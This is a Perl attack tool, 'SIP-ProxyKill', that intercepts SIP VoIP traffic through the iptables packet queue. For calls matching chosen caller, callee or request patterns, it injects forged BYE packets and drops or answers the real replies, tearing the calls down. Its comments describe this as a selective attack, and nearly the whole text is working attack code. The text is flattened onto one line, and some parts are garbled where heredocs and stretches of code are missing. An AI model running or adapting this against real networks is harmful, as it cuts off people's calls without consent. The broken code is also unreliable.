#!/usr/bin/perl # SIP-ProxyKill 0.1 # Tears down a SIP-Session at the last proxy before the opposite endpoint in # the signaling path. # # Copyright (C) 2005 Thomas Skora # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # WARNING: # There exist many buggy NetPacket::IP installations, where the IP checksum # is not correctly calculated!!! # # Changelog: # 0.1: first release # # TODO: # - just support for port 5060 use Getopt::Std; use NetPacket::IP; use NetPacket::UDP; use Net::RawIP; use IPTables::IPv4::IPQueue qw(:constants); use Digest::MD5 qw(md5_base64); sub HELP_MESSAGE { print < { saddr => $fromip, daddr => $toip }, udp => { source => 5060, dest => 5060, data => $payload } }); $ip->send; } # construct signaling path and inject BYE at right position. sub send_bye { my ($sip_pkt, $callid) = @_; my @route = (); my ($bye, $route); # construct signaling path from Route headers my ($from) = ($sip_pkt =~ /^To: (.*)$/m); my ($ftag) = ($from =~ /tag=([^;\n\r]*)/); my @sip_pkt = split /\n/, $sip_pkt; foreach my $sipline (@sip_pkt) { if ($sipline =~ /^Route:[ ]+(.*)$/m) { # find Route-headers my $rline = $1; $rline =~ s/ftag=.*?;/ftag=$ftag;/g; my @hops = split /,/, $rline; # many routes in one push @route, @hops; } } @route = reverse @route; my ($toip) = ($route[0] =~ /((?:\d{1,3}\.){3}\d{1,3})/); $invites{$callid}{byeto} = $toip; print "---> $toip\n"; my ($requri) = ($sip_pkt =~ /^Contact:[ ]+<(.*?)>/m); my ($to) = ($sip_pkt =~ /^From: (.*)/m); foreach my $rline (@route) { $route .= "Route: $rline\n"; } $route =~ s/FTAG/$ftag/g; $route =~ s/\n$//; # last crlf is from previous line my ($contact) = $invites{$callid}{contact}; (my $fromip) = ($contact =~ /\@([\d\.]+)/); my ($ua) = $invites{$callid}{ua}; my $viabranch = md5_base64("$requri:$route:$callid:$from:$to"); $bye = <get_message() or die IPTables::IPv4::IPQueue->errstr; my $pkt = $msg->payload(); my $ip_pkt = NetPacket::IP->decode($pkt); my $udp_pkt = NetPacket::UDP->decode($ip_pkt->{data}); my $sip_pkt = $udp_pkt->{data}; # some preprocessing $sip_pkt =~ s/\r//g; my @sip_pkt = split /\n/, $sip_pkt; verbose "From $ip_pkt->{src_ip}:$udp_pkt->{src_port} to $ip_pkt->{dest_ip}:$udp_pkt->{dest_port}: $sip_pkt[0]\n"; my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call if ($sip_pkt[0] =~ /INVITE/) { # incoming INVITE-request: save it # selective attack if (!defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) && ($sip_pkt =~ /^To:.*$topat/mi) && ($sip_pkt =~ /^INVITE.*$reqpat/mi))) { if ($opt_v) { print "not matching\n" } $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr; return; } if (defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) || ($sip_pkt =~ /^To:.*$topat/mi) || ($sip_pkt =~ /^INVITE.*$reqpat/mi))) { if ($opt_v) { print "not matching\n" } $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr; return; } # print "$callid\n"; $invites{$callid} = { saddr => $ip_pkt->{src_ip}, sport => $udp_pkt->{src_port}, daddr => $ip_pkt->{dest_ip}, dport => $udp_pkt->{dest_port}, state => 0 }; $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr; return; } if (!defined $invites{$callid}) { $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr; return; } # no interesting packet if ($invites{$callid}{state} == 0) { # INVITE and nothing further received if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+2[0-9]{2}/) { # ignore every response that never initiates session $invites{$callid}{state} = 1; (my $ua) = ($sip_pkt =~ /^(User-Agent: .*)/m); if (!$ua eq "") { $ua = "\n". $ua; } $invites{$callid}{ua} = $ua; ($invites{$callid}{contact}) = ($sip_pkt =~ /^Contact:.*?(<.*>)$/m); } } if ($invites{$callid}{state} == 1) { # wait for ACK from caller if ($sip_pkt[0] =~ /ACK/) { $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr; send_bye($sip_pkt, $callid); $invites{$callid}{state} = 2; return; } } if ($invites{$callid}{state} == 2) { # wait for BYE if ($sip_pkt[0] =~ /BYE/ && !($ip_pkt->{dest_ip} eq $invites{$callid}{byeto})) { verbose "Dropping back coming BYE!\n"; $ipq->set_verdict($msg->packet_id, NF_DROP, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr; send_ok($sip_pkt, $callid); undef $invite{$callid}; # delete entry from INVITE list return; } } if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+[3-9][0-9]{2}/) { # 3xx-6xx causes new INVITE undef $invite{$callid}; # delete entry from INVITE list } $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr; } $Getopt::Std::STANDARD_HELP_VERSION = 1; getopts('vob'); $frompat = $ARGV[0] || ""; $topat = $ARGV[1] || ""; $reqpat = $ARGV[2] || ""; $ipq = new IPTables::IPv4::IPQueue(copy_mode => IPQ_COPY_PACKET, copy_range => 65534) or die IPTables::IPv4::IPQueue->errstr; while (1) { ipq_process(); } $ipq->close()